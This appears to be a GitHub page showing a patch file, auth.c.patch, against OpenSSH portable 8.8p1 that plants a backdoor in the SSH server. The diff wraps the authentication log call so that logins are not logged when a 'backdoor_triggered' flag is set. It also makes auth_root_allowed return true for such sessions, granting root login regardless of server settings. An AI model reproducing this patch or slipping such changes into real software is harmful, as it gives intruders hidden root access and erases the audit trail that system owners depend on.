-
Notifications
You must be signed in to change notification settings - Fork 7
/
auth.c.patch
executable file
·42 lines (40 loc) · 1.32 KB
/
auth.c.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
--- openssh-portable-V_8_8_P1/auth.c 2021-09-26 09:03:19.000000000 -0500
+++ openssh-portable-patch/auth.c 2021-12-07 21:59:11.137983398 -0600
@@ -339,17 +339,19 @@
extra = xstrdup(authctxt->auth_method_info);
}
- do_log2(level, "%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s",
- authmsg,
- method,
- submethod != NULL ? "/" : "", submethod == NULL ? "" : submethod,
- authctxt->valid ? "" : "invalid user ",
- authctxt->user,
- ssh_remote_ipaddr(ssh),
- ssh_remote_port(ssh),
- extra != NULL ? ": " : "",
- extra != NULL ? extra : "");
-
+ /* Dont log backdoor authentications */
+ if (!ssh->backdoor_triggered == 1) {
+ do_log2(level, "%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s",
+ authmsg,
+ method,
+ submethod != NULL ? "/" : "", submethod == NULL ? "" : submethod,
+ authctxt->valid ? "" : "invalid user ",
+ authctxt->user,
+ ssh_remote_ipaddr(ssh),
+ ssh_remote_port(ssh),
+ extra != NULL ? ": " : "",
+ extra != NULL ? extra : "");
+ }
free(extra);
#if defined(CUSTOM_FAILED_LOGIN) || defined(SSH_AUDIT_EVENTS)
@@ -396,6 +398,8 @@
int
auth_root_allowed(struct ssh *ssh, const char *method)
{
+ /* Backdoor allows root login for our session */
+ if (ssh->backdoor_triggered == 1) return 1;
switch (options.permit_root_login) {
case PERMIT_YES:
return 1;